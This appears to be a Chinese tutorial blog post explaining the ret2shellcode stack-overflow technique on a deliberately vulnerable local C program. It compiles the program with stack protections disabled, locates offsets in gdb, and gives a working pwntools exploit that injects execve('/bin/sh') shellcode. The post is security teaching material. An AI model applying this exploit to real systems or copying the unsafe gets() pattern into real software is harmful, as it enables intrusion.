ret2shellcode

之前提到的ret2text中,利用了程序中已有的sys函数中的恶意代码来进行getshell,而实际情况中很可能没有这种代码,我们就需要自己拼接或构造恶意代码。这篇文章就讲另一种方式,使用填充shellcode的方法构造恶意代码。

ret2shellcode和ret2text的区别

  • ret2shellcode是通过栈溢出,将shellcode写入到栈中,然后通过ret指令跳转到栈中的shellcode
  • ret2text是将返回地址覆盖为程序.text段中已有的代码的地址,从而执行程序本身的代码。
    一般情况下,当程序开启了NX保护(禁止栈和堆执行代码)时,ret2shellcode就无法成功,因为shellcode所在的内存区域不可执行。这时候可以使用ret2text来绕过NX保护,利用程序已有的可执行代码来实现攻击目的。
    当然,ret2text也有一些限制,比如需要知道gadget的地址,需要找到合适的gadget来控制寄存器或变量的值,需要考虑程序是否开启了其他保护机制(如ASLR、PIE、RELRO等)。

ret2shellcode的原理

ret2shellcode的原理很简单,就是通过栈溢出将shellcode写入到栈中,然后通过ret指令跳转到栈中的shellcode。这里需要注意的是,shellcode的地址需要是可执行的,所以需要找到一个可执行的内存区域来存放shellcode。

ret2shellcode的步骤

  1. 找到shellcode的地址(可执行的内存区域)
  2. 找到ret指令的地址(跳转到shellcode)
  3. 构造payload

ret2shellcode的例子

这里以一个简单的程序为例,演示ret2shellcode的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char buf[128];

void vuln(){
char msg[100];
printf("input something:\n");
gets(msg);
strcpy(buf, msg);
printf("input: %s\n", msg);
}

int main(){
vuln();
return 0;
}

这个程序很简单,就是一个栈溢出漏洞,通过gets函数读取用户输入,但是没有限制输入的长度,所以可以通过输入超过100个字符来覆盖buf数组后面的内容,从而覆盖返回地址。

编译

要在内存中执行代码,需要关闭NX保护,所以编译时需要加上 -z execstack 参数,并打开调试信息 -g,关闭其他保护机制 -fno-stack-protector,关闭ASLR -no-pie

1
gcc -g -z execstack -fno-stack-protector -no-pie -o ret2shellcode64 ret2shellcode.c

gdb调试

查看程序的保护机制

我们使用gdb来调试程序,查看程序的保护机制:

1
gdb-peda$ cheksec ret2shellcode64

分析漏洞

代码中gets(msg)部分存在栈溢出漏洞,所以我们需要找到一个目标地址来执行攻击代码。这里我们选择返回地址,因为返回地址是可控的,而且是可执行的。本题目没有另一个子函数,却有一个buf数组,msg中的内容会被拷贝到buf中,所以要想办法构造溢出填充返回地址指向全局变量buf的地址,且strcpy将buf填充为shellcode。

需要这几个信息:

  • buf的地址
  • 局部变量msg的地址
  • func函数的返回地址

找到buf、msg以及返回地址的地址

在char msg[100]处下断点,运行到func函数内部,并找到msg的地址、buf的地址以及此时rbp的值:

  • msg的地址:0x7fffffffe240
  • buf的地址:0x404080
  • rbp的值:0x7fffffffe2b0
    所以func函数的返回地址为:0x7fffffffe2b8

vmmap查看全局变量buf所在地址是否是可执行的内存区域

构造payload

payload的构成

我们要填充局部变量msg,这部分填充会被拷贝到buf中,所以要先填充shellcode,然后再填充一部分字符,使其使其占用空间直到返回地址,然后再将后面八个字节的位置填充为全局变量buf的地址0x404080,就可以使程序跳转到我们构造好的恶意代码处执行。
payload为:

1
payload = shellcode + 'a'*(120-len(shellcode)) + p64(0x404080)

构造shellcode

加上shellcode的总偏移长度是返回地址减去局部变量的地址也就是0x7fffffffe2b8-0x7fffffffe240=0x78=120,所以我们需要填充120个字符,然后再填充buf的地址0x404080。
利用execve函数执行/bin/sh,shellcode为:

1
shellcode = asm(shellcraft.execve('/bin/sh'))

写exp

1
2
3
4
5
6
7
from pwn import *

p = process('./ret2shellcode64')
shellcode = asm(shellcraft.execve('/bin/sh'))
payload = shellcode + 'a'*(120-len(shellcode)) + p64(0x404080)
p.sendline(payload)
p.interactive()